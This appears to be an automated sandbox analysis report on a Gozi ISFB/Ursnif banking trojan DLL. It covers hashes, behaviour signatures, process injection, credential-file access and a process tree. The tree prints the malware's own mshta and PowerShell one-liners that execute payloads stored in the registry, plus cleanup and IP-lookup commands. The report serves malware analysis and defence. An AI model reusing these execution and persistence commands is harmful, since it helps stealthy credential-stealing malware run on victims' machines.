gozi_ifsb | bd6840cc208517847e130db0c847e715ba80a88e210e6383b37c1d0381877ee5

Analysis

max time kernel
150s
max time network
136s
platform
windows10_x64
resource
win10
submitted
13-07-2020 16:55

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General

Target

434.dll
Size

367KB
MD5

7e9c8822be0f73073ce2cc5ef5a13c96
SHA1

10b2f8667db53eaf1b85a209d9b80b834425167f
SHA256

bd6840cc208517847e130db0c847e715ba80a88e210e6383b37c1d0381877ee5
SHA512

120bfec74eed70dc19d7aff9ed8dc392616a6c652f4c7b3f642219c6d5203038e66cef65e67b79041b8653b65021e2402b3cfc0f3b6850afd1d13e2a03637118

Score

10^/10

spyware banker trojan gozi_ifsb ursnif discovery rat stealer pony

Malware Config

Signatures

Checks whether UAC is enabled 3 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Suspicious use of SetThreadContext 8 IoCs

Processes:

rundll32.exesvchost.exepowershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 3840 set thread context of 3828	3840	rundll32.exe	svchost.exe
PID 3828 set thread context of 68	3828	svchost.exe	svchost.exe
PID 3408 set thread context of 2968	3408	powershell.exe	Explorer.EXE
PID 2968 set thread context of 3340	2968	Explorer.EXE	RuntimeBroker.exe
PID 2968 set thread context of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 set thread context of 3768	2968	Explorer.EXE	iexplore.exe
PID 3720 set thread context of 2560	3720	cmd.exe	PING.EXE
PID 2968 set thread context of 3920	2968	Explorer.EXE	WinMail.exe

Executes dropped EXE 1 IoCs

Processes:

BN28C0.tmp

pid process

3324 BN28C0.tmp
Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exe

pid process

3768 iexplore.exe
3768 iexplore.exe
3768 iexplore.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 api.ipify.org
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3324	BN28C0.tmp

flow	ioc
3	api.ipify.org

Suspicious behavior: EnumeratesProcesses 2022 IoCs

Processes:

svchost.exeWerFault.exepowershell.exeExplorer.EXE

pid	process
3828	svchost.exe
3828	svchost.exe
3828	svchost.exe
3828	svchost.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
2224	WerFault.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 96 IoCs

Processes:

svchost.exesvchost.exe

description	pid	process
Token: SeImpersonatePrivilege	3828	svchost.exe
Token: SeTcbPrivilege	3828	svchost.exe
Token: SeChangeNotifyPrivilege	3828	svchost.exe
Token: SeCreateTokenPrivilege	3828	svchost.exe
Token: SeBackupPrivilege	3828	svchost.exe
Token: SeRestorePrivilege	3828	svchost.exe
Token: SeIncreaseQuotaPrivilege	3828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3828	svchost.exe
Token: SeImpersonatePrivilege	3828	svchost.exe
Token: SeTcbPrivilege	3828	svchost.exe
Token: SeChangeNotifyPrivilege	3828	svchost.exe
Token: SeCreateTokenPrivilege	3828	svchost.exe
Token: SeBackupPrivilege	3828	svchost.exe
Token: SeRestorePrivilege	3828	svchost.exe
Token: SeIncreaseQuotaPrivilege	3828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3828	svchost.exe
Token: SeImpersonatePrivilege	3828	svchost.exe
Token: SeTcbPrivilege	3828	svchost.exe
Token: SeChangeNotifyPrivilege	3828	svchost.exe
Token: SeCreateTokenPrivilege	3828	svchost.exe
Token: SeBackupPrivilege	3828	svchost.exe
Token: SeRestorePrivilege	3828	svchost.exe
Token: SeIncreaseQuotaPrivilege	3828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3828	svchost.exe
Token: SeImpersonatePrivilege	3828	svchost.exe
Token: SeTcbPrivilege	3828	svchost.exe
Token: SeChangeNotifyPrivilege	3828	svchost.exe
Token: SeCreateTokenPrivilege	3828	svchost.exe
Token: SeBackupPrivilege	3828	svchost.exe
Token: SeRestorePrivilege	3828	svchost.exe
Token: SeIncreaseQuotaPrivilege	3828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3828	svchost.exe
Token: SeImpersonatePrivilege	3828	svchost.exe
Token: SeTcbPrivilege	3828	svchost.exe
Token: SeChangeNotifyPrivilege	3828	svchost.exe
Token: SeCreateTokenPrivilege	3828	svchost.exe
Token: SeBackupPrivilege	3828	svchost.exe
Token: SeRestorePrivilege	3828	svchost.exe
Token: SeIncreaseQuotaPrivilege	3828	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3828	svchost.exe
Token: SeImpersonatePrivilege	68	svchost.exe
Token: SeTcbPrivilege	68	svchost.exe
Token: SeChangeNotifyPrivilege	68	svchost.exe
Token: SeCreateTokenPrivilege	68	svchost.exe
Token: SeBackupPrivilege	68	svchost.exe
Token: SeRestorePrivilege	68	svchost.exe
Token: SeIncreaseQuotaPrivilege	68	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	68	svchost.exe
Token: SeImpersonatePrivilege	68	svchost.exe
Token: SeTcbPrivilege	68	svchost.exe
Token: SeChangeNotifyPrivilege	68	svchost.exe
Token: SeCreateTokenPrivilege	68	svchost.exe
Token: SeBackupPrivilege	68	svchost.exe
Token: SeRestorePrivilege	68	svchost.exe
Token: SeIncreaseQuotaPrivilege	68	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	68	svchost.exe
Token: SeImpersonatePrivilege	68	svchost.exe
Token: SeTcbPrivilege	68	svchost.exe
Token: SeChangeNotifyPrivilege	68	svchost.exe
Token: SeCreateTokenPrivilege	68	svchost.exe
Token: SeBackupPrivilege	68	svchost.exe
Token: SeRestorePrivilege	68	svchost.exe
Token: SeIncreaseQuotaPrivilege	68	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	68	svchost.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2224 3840 WerFault.exe rundll32.exe
Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

3408 powershell.exe
2968 Explorer.EXE
2968 Explorer.EXE
2968 Explorer.EXE
3720 cmd.exe
2968 Explorer.EXE
Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb

pid	pid_target	process	target process
2224	3840	WerFault.exe	rundll32.exe

pid	process
3408	powershell.exe
2968	Explorer.EXE
2968	Explorer.EXE
2968	Explorer.EXE
3720	cmd.exe
2968	Explorer.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

pid	process
3768	iexplore.exe
3768	iexplore.exe
664	IEXPLORE.EXE
664	IEXPLORE.EXE
3768	iexplore.exe
3768	iexplore.exe
1312	IEXPLORE.EXE
1312	IEXPLORE.EXE
3768	iexplore.exe
3768	iexplore.exe
664	IEXPLORE.EXE
664	IEXPLORE.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2560 PING.EXE

pid	process
2560	PING.EXE

Suspicious use of WriteProcessMemory 74 IoCs

Processes:

rundll32.exerundll32.exesvchost.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 3820 wrote to memory of 3840	3820	rundll32.exe	rundll32.exe
PID 3820 wrote to memory of 3840	3820	rundll32.exe	rundll32.exe
PID 3820 wrote to memory of 3840	3820	rundll32.exe	rundll32.exe
PID 3840 wrote to memory of 3828	3840	rundll32.exe	svchost.exe
PID 3840 wrote to memory of 3828	3840	rundll32.exe	svchost.exe
PID 3840 wrote to memory of 3828	3840	rundll32.exe	svchost.exe
PID 3840 wrote to memory of 3828	3840	rundll32.exe	svchost.exe
PID 3840 wrote to memory of 3828	3840	rundll32.exe	svchost.exe
PID 3828 wrote to memory of 1880	3828	svchost.exe	cmd.exe
PID 3828 wrote to memory of 1880	3828	svchost.exe	cmd.exe
PID 3828 wrote to memory of 1880	3828	svchost.exe	cmd.exe
PID 3828 wrote to memory of 68	3828	svchost.exe	svchost.exe
PID 3828 wrote to memory of 68	3828	svchost.exe	svchost.exe
PID 3828 wrote to memory of 68	3828	svchost.exe	svchost.exe
PID 3828 wrote to memory of 68	3828	svchost.exe	svchost.exe
PID 3828 wrote to memory of 68	3828	svchost.exe	svchost.exe
PID 3828 wrote to memory of 3324	3828	svchost.exe	BN28C0.tmp
PID 3828 wrote to memory of 3324	3828	svchost.exe	BN28C0.tmp
PID 3828 wrote to memory of 3324	3828	svchost.exe	BN28C0.tmp
PID 3768 wrote to memory of 664	3768	iexplore.exe	IEXPLORE.EXE
PID 3768 wrote to memory of 664	3768	iexplore.exe	IEXPLORE.EXE
PID 3768 wrote to memory of 664	3768	iexplore.exe	IEXPLORE.EXE
PID 3768 wrote to memory of 1312	3768	iexplore.exe	IEXPLORE.EXE
PID 3768 wrote to memory of 1312	3768	iexplore.exe	IEXPLORE.EXE
PID 3768 wrote to memory of 1312	3768	iexplore.exe	IEXPLORE.EXE
PID 2420 wrote to memory of 3408	2420	mshta.exe	powershell.exe
PID 2420 wrote to memory of 3408	2420	mshta.exe	powershell.exe
PID 3408 wrote to memory of 680	3408	powershell.exe	csc.exe
PID 3408 wrote to memory of 680	3408	powershell.exe	csc.exe
PID 680 wrote to memory of 3104	680	csc.exe	cvtres.exe
PID 680 wrote to memory of 3104	680	csc.exe	cvtres.exe
PID 3408 wrote to memory of 3524	3408	powershell.exe	csc.exe
PID 3408 wrote to memory of 3524	3408	powershell.exe	csc.exe
PID 3524 wrote to memory of 3892	3524	csc.exe	cvtres.exe
PID 3524 wrote to memory of 3892	3524	csc.exe	cvtres.exe
PID 3408 wrote to memory of 2968	3408	powershell.exe	Explorer.EXE
PID 3408 wrote to memory of 2968	3408	powershell.exe	Explorer.EXE
PID 3408 wrote to memory of 2968	3408	powershell.exe	Explorer.EXE
PID 3408 wrote to memory of 2968	3408	powershell.exe	Explorer.EXE
PID 2968 wrote to memory of 3340	2968	Explorer.EXE	RuntimeBroker.exe
PID 2968 wrote to memory of 3340	2968	Explorer.EXE	RuntimeBroker.exe
PID 2968 wrote to memory of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3340	2968	Explorer.EXE	RuntimeBroker.exe
PID 2968 wrote to memory of 3340	2968	Explorer.EXE	RuntimeBroker.exe
PID 2968 wrote to memory of 3768	2968	Explorer.EXE	iexplore.exe
PID 2968 wrote to memory of 3768	2968	Explorer.EXE	iexplore.exe
PID 2968 wrote to memory of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3720	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3768	2968	Explorer.EXE	iexplore.exe
PID 2968 wrote to memory of 3768	2968	Explorer.EXE	iexplore.exe
PID 3720 wrote to memory of 2560	3720	cmd.exe	PING.EXE
PID 3720 wrote to memory of 2560	3720	cmd.exe	PING.EXE
PID 3720 wrote to memory of 2560	3720	cmd.exe	PING.EXE
PID 3720 wrote to memory of 2560	3720	cmd.exe	PING.EXE
PID 3720 wrote to memory of 2560	3720	cmd.exe	PING.EXE
PID 2968 wrote to memory of 3356	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3356	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3152	2968	Explorer.EXE	cmd.exe
PID 2968 wrote to memory of 3152	2968	Explorer.EXE	cmd.exe
PID 3152 wrote to memory of 2680	3152	cmd.exe	nslookup.exe
PID 3152 wrote to memory of 2680	3152	cmd.exe	nslookup.exe
PID 3356 wrote to memory of 2672	3356	cmd.exe	nslookup.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

2560 PING.EXE

pid	process
2560	PING.EXE

Checks for installed software on the system 1 TTPs 7 IoCs

discovery

Query Registry

T1012

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	svchost.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	svchost.exe

Pony,Fareit
Pony is a Remote Access Trojan application that steals information.
rat spyware stealer pony

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30824758"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 1067ca6f3659d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f72535b3d71787499ad6028e231c2f4e0000000002000000000010660000000100002000000065a255119024c8380d93152127e98218d153f640585d067ae3b58af5a9a819ff000000000e800000000200002000000029a987004d53ee3e4c9de9e6db63f4faeeaa23711a5be0dfcbc6f21032212ffe20000000edfca8e2f42ad18da84370ecbf99388b59e54ea1ed646ad28172a019e65a239d400000007808805c3efaa579e9d7c30435889728a14441853aa3ec9e47cd68b024ee87bc82c3b55ce78a1a119533eed0c7b3f32e871980c6c6e2c2c3461d4953b45b6555	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2101946939"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f72535b3d71787499ad6028e231c2f4e000000000200000000001066000000010000200000007d854a7688e39114a017a84291a556325718ce1e8b6cf1a314bb705dc580bd2e000000000e8000000002000020000000845ce2e67ce314326af6ee4a79a5c6f5e948a9b509691ff2ae2de3c4580d90a920000000ed4eb733f9847370ecd4e1701f70e1b63f14503485965a241b0d1367dd80dc3d4000000064ca3fb283c86380ae2cd1527b49712dd2ddc6d0afa34776397306f88499f5df90bb49803e81f61a64ac7378eb6d401bdf357c5cf418db03aba2df40d42d4375	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2101946939"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30824758"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2104290971"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0a4ba6e3659d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30824758"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{A8F050D2-C529-11EA-95F0-D278D89B3D2A} = "0"	iexplore.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2968
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\SysWOW64\svchost.exe
      C:\Windows\System32\svchost.exe
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      Checks for installed software on the system
      PID:3828
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /K
        5⤵
        
        PID:1880
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\System32\svchost.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:68
    - - C:\Users\Admin\AppData\Local\Temp\BN28C0.tmp
        
        C:\Users\Admin\AppData\Local\Temp\BN28C0.tmp
        5⤵
        Executes dropped EXE
        
        PID:3324
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 652
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Program crash
      PID:2224
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2FFAFA40-C261-3936-44D3-167DB8B7AA01\\\Addrient'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\2FFAFA40-C261-3936-44D3-167DB8B7AA01").appiness))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:3408
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oiuycdv3\oiuycdv3.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:680
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D85.tmp" "c:\Users\Admin\AppData\Local\Temp\oiuycdv3\CSCB2B2CDD8A70745D7AD6E96D93E36FBE4.TMP"
        5⤵
        
        PID:3104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c5zmxomj\c5zmxomj.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3524
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8EED.tmp" "c:\Users\Admin\AppData\Local\Temp\c5zmxomj\CSCE09D1983B3B1431FA063C5AEC854C5.TMP"
        5⤵
        
        PID:3892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BN28C0.tmp"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3720
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2560
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\80A.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:2680
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\8AA.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:2672
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\8AA.bi1"
  2⤵
  PID:2472
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\80A.bi1"
  2⤵
  PID:2444
- C:\Program Files\Windows Mail\WinMail.exe
  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
  2⤵
  PID:3920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3340

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Modifies Internet Explorer settings
PID:3768
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3768 CREDAT:82945 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  - Modifies Internet Explorer settings
  PID:664
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3768 CREDAT:82953 /prefetch:2
  2⤵
  - Checks whether UAC is enabled
  - Suspicious use of SetWindowsHookEx
  - Modifies Internet Explorer settings
  PID:1312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

